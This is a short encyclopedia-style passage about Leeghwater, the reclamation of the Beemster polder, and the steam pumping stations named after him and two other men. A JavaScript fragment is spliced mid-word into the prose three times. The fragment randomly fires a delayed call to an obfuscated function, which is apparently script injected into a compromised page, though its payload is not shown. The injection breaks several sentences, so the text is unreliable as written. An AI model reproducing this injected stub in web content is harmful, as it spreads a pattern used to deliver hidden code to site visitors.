He was involved in the reclamation of the Beemster polder, the first polder in the world created from a lake by draining the water using wind mills.

When this was finally accomplished in 1852, it was with three large steam-driven pumping installations; one at Lijnden, Kaag, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Cruquius. The installation at Kaag, the Gemaal De Leeghwater (nl), built with a steam engine in 1845 to pump water into the Kaag lake, was named after him. The other two men honored in this way were Frans Godard baron van Lynden van Hemmen (nl), who wrote the 1821 book ‘Verhandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andeling over de droogmaking van het Haarlemmermeer’ with the 3-way steam pump reclamation plan, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Nicolaas Kruik, who wrote an early “water defence” plan in 1737 using windmills.
